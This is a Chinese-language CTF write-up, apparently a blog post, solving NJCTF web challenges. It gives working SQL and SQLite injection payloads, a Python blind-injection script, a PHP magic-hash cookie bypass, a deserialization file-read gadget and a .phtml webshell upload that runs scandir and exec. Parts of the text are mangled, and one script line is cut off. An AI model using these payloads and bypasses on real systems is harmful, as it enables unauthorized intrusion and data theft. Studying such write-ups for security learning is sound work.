Not registered? [Create an account](#)

http://blog.csdn.net/qq_31481187

首先创建id 登陆进去 发现要用admin登陆

we search the database, and you are adminasdasdx .
you are not admin, I won't give you the flag!

http://blog.csdn.net/qq_31481187

首先用爆破想想不可能

其次利用注册重新注册admin

一开始想的是利用SQL注释等注册但发现不行

其次就想到长度限制&空格漏洞

```
mysql> select 1 from yz where 'guest'='guest';
+----+
| 1 |
+----+
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
+----+
```

http://blog.csdn.net/qq_31481187

```
'guest'=' guest'
```

```

| 1 | guest? |
| 1 | 1 | xs
| x |
+-----+
6 rows in set (0.00 sec)

mysql> select * from yz where '1'='1';
+-----+
| a | b | c |
+-----+
| 1 | 2 |   |
| 1 | guest |   |
| 1 | guest |   |
| 1 | guest | x |
| 1 | guest? |   |
| 1 | 1 | xs |
+-----+
6 rows in set (0.00 sec)

```

http://blog.csdn.net/qq_31481187

首先绕过重名检测，接着设置了长度限制之后用空格漏洞注册注册admin

we search the database, and you are admin .
welcome, admin. your flag is NJCTF{4R3_Y0u_7H3_Re41_aDM1N?}

http://blog.csdn.net/qq_31481187

Get Flag

随便输入试试

1.jpjga

Load URL	cat: images/1.jpjga: No such file or directory
Split URL	
Execute	
<input checked="" type="checkbox"/> Enable Post data <input type="checkbox"/> Enable Referrer	
Post data	

```
1 <html>
2 <head>
3 </head>
4 <body>
5 
6 </body>
7 </html>
```

http://blog.csdn.net/qq_31481187

发现是cat 命令

利用ls 及 cat 命令查找flag

NJCTF{Every7hing_1s_a_r3gular_att4ck}

http://blog.csdn.net/qq_31481187

Text wall

首先扫描目录找到源码 .index.php.swo

```
1 <?php
2 $lists = [];
3 Class filelist{
4     public function __toString()
5     {
6         return highlight_file('hiehie.txt', true).highlight_file($this->source, true);
7     }
8 }
9 .....
10 ?>
11
```

http://blog.csdn.net/qq_31481187

发现可以读取文件，我们发现图片的存储是序列化存储

解开之后是一个数组

打印内容的时候是循环遍历打印

```
foreach ($a as $key => $value) {
    echo $key,$value;
}
```

如果\$a是一个类，上面的结构回将类中的变量循环打印出来

__toString 的触发事件是echo 类，正符合此题

```
<?php
Class filelist{
    public $source = '';
}
$z = new filelist();
$z->source = 'index.php';
$y = new filelist();
$y->source = $z;
echo sha1(serialize($y)).serialize($y);
?>
```

```

<?php
require_once("db.php");
$auth = 0;
if (isset($_COOKIE["auth"])) {
    $auth = $_COOKIE["auth"];
    $hsh = $_COOKIE["hsh"];
    if ($auth == $hsh) {
        $auth = 0;
    } else if (sha1((string)$hsh) == md5((string)$auth)) { //
        $auth = 1; //
    } else {
        $auth = 0;
    }
} else {
    $auth = 0;
    $s = $auth;
    setcookie("auth", $s);
    setcookie("hsh", sha1((string)$s));
}
if ($auth) {
    if (isset($_GET['query'])) {
        $db = new SQLite3($SQL_DATABASE, SQLITE3_OPEN_READONLY);
        $qstr = SQLite3::escapeString($_GET['query']);
        $query = "SELECT amount FROM my_wallets WHERE id=$qstr";
        $result = $db->querySingle($query);
        if (!$result === NULL) {
            echo "Error - invalid query";
        } else {
            echo "Wallet contains: $result"; // 输出flag
        }
    } else {
        echo "<html><head><title>Admin Page</title></head><body>Welcome to the admin panel!<br /><br />";
    }
} else echo "Sorry, not authorized.";

?>

```

首先要绕过

```

if (isset($_COOKIE["auth"])) {
    $auth = $_COOKIE["auth"];
    $hsh = $_COOKIE["hsh"];
    if ($auth == $hsh) {
        $auth = 0;
    } else if (sha1((string)$hsh) == md5((string)$auth)) { //
        $auth = 1; //
    } else {
        $auth = 0;
    }
} else {
    $auth = 0;
    $s = $auth;
    setcookie("auth", $s);
    setcookie("hsh", sha1((string)$s));
}

```

利用php弱类型比较

```
$hsh = 'aaroZmOk'  
$auth = 'QNKCDZO'
```

登进admin

Welcome to the admin panel!

Wallet ID:

名称	内容	域
auth	QNKCDZO	218.2.197.235
hsh	aaroZmOk	218.2.197.235

http://blog.csdn.net/qq_31481187

接下来就是简单的sqlite 注入

猜测为 id 字段 flag 表 当然也可以利用查表得到

```
1 union select group_concat(tbl_name) from sqlite_master limit 1,1-- 暴表  
1 union select sql from sqlite_master where tbl_name="flag" and type="table" limit 1,1-- 爆字段  
1 union select group_concat(id) from flag limit 1,1-- 暴内容
```

218.2.197.235:23723/admin.php?query=1 union select id from flag limit 1,1

Wallet contains: NJCTF{Th3_m1xtu2e_0F_M4gic_Ha5h_@nd_5Qlite_InJec7ion}

http://blog.csdn.net/qq_31481187

pictures' wall

一道上传题，上传类的题目做得也不少了，都是一个套路。

看看这题

首先找到上传窗口，根据题目提示利用host: 127.0.0.1 登录成功找到上传界面

root's pictureWall

http://blog.csdn.net/qq_31481187

我们在上传时改包

The screenshot shows the Burp Suite interface with a target URL of http://218.2.197.235:23719. The Request tab is selected, showing a POST request to /upload.php. The response is a 302 Found status with headers indicating the server is Apache/2.4.10 (Debian) and the location is index.php?act=user. The response body contains a list of files including .png and .html files.

上传成功, 试了.php345.inc .phtml .phpt .phps 最后.phtml可以解析, 其他的都不行

The left screenshot shows a request with a Content-Disposition header for a file named "1.phtml" and a script tag in the body. The right screenshot shows the corresponding response with a Content-Type of text/html and a location header pointing to index.php?act=user.

The screenshot shows a GET request to a .phtml file with a parameter 'a=print_r(scandir('./../'))'. The response is a 200 OK status with a Content-Type of text/html. The response body contains an array of file names: [0] => ., [1] => .., [2] => A0vU7WJDRt5n1tV2g56SjLpJK117EmBi_thi5_flag, [3] => html.

```
print_r(scandir("/opt/lampp/htdocs"));  
echo exec('pwd'); //查看当前文件路径  
print_r(scandir('./../'))
```

Be admin

有时候看见密码的题目都不想做, 太麻烦
利用SQLmap跑了一遍跑出了用户名及密码加密后的值

```
[1 entry]
+-----+-----+-----+-----+-----+-----+-----+-----+-----+
| isadmin | username | encrypted_pass |
+-----+-----+-----+-----+-----+-----+-----+-----+-----+
| 1       | admin    | aVZ1c2VkJnK0ZG1pb1EHIV+W2coxQmZQWMLGaWZuItWr+E26IKb10Fh4Shf/fNSQ |
+-----+-----+-----+-----+-----+-----+-----+-----+-----+
```

扫描目录得到源码

```
<?php
error_reporting(0);
define("SECRET_KEY", ".....");
define("METHOD", "aes-128-cbc");

session_start();

function get_random_token(){
    $random_token='';
    for($i=0;$i<16;$i++){
        $random_token.=chr(rand(1,255));
    }
    return $random_token;
}

function get_identity()
{
    global $defaultId;
    $j = $defaultId;
    $token = get_random_token();
    $c = openssl_encrypt($j, METHOD, SECRET_KEY, OPENSSSL_RAW_DATA, $token);
    $_SESSION['id'] = base64_encode($c);
    setcookie("ID", base64_encode($c));
    setcookie("token", base64_encode($token));
    if ($j === 'admin') {
        $_SESSION['isadmin'] = true;
    } else $_SESSION['isadmin'] = false;
}

function test_identity()
{
    if (!isset($_COOKIE["token"]))
        return array();
    if (isset($_SESSION['id'])) {
        $c = base64_decode($_SESSION['id']);
        if ($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSSL_RAW_DATA, base64_decode($_COOKIE["token"]))
            if ($u === 'admin') {
                $_SESSION['isadmin'] = true;
            } else $_SESSION['isadmin'] = false;
        } else {
            die("ERROR!");
        }
    }
}

function login($encrypted_pass, $pass)
{
    $encrypted_pass = base64_decode($encrypted_pass);
    $iv = substr($encrypted_pass, 0, 16);
```

```

    $iv = substr($encrypted_pass, 0, 16);
    $cipher = substr($encrypted_pass, 16);
    $password = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSAL_RAW_DATA, $iv);
    return $password == $pass;
}

```

```

function need_login($message = NULL) {
    echo " <!doctype html>
        <html>
        <head>

    global $flag;
    printf("Hello ~~~ ctfer! ");
    if ($_SESSION["isadmin"])
        echo $flag;
    echo "<div><a href=\"logout.php\">Log out</a></div>
</body>
</html>";
}

```

```

if (isset($_POST['username']) && isset($_POST['password'])) {
    $username = (string)$_POST['username'];
    $password = (string)$_POST['password'];
    $query = "SELECT username, encrypted_pass from users WHERE username='$username'";
    $res = $conn->query($query) or trigger_error($conn->error . "[$query]");
    if ($row = $res->fetch_assoc()) {

```

```

$username = $row['username'];
$encrypted_pass = $row["encrypted_pass"];
}

if ($row && login($encrypted_pass, $password)) {
    echo "you are in!" . "<br>";
    get_identity();
    show_homepage();
} else {
    echo "<script>alert('login failed!');</script>";
    need_login("Login Failed!");
}

} else {
    test_identity();
    if (isset($_SESSION["id"])) {
        show_homepage();
    } else {
        need_login();
    }
}
}

```

源码到手 接下来就是代码审计 查找漏洞

Come On

这是道注入题，所以第一步找注入点

`1%df' || if(1=1,1,0)%23` 注意他过滤了 `<> or and`

数据表，字段是猜出来的

`1%df' || exists(select(flag)from(flag))%23`

等关键字，下面就基于内容长度的盲注

```

import requests
string = ''
for i in range(1,33):
    for mid in range(32,127):
        url = "http://218.2.197.235:23733/index.php?key=1%df' || if((select(right(left((select(flag)fr
s=requests.get(url=url)
content=s.content
length=len(content)
#print length
        if length > 1000 :
            string+=chr(mid)
            break
    print string

```

```
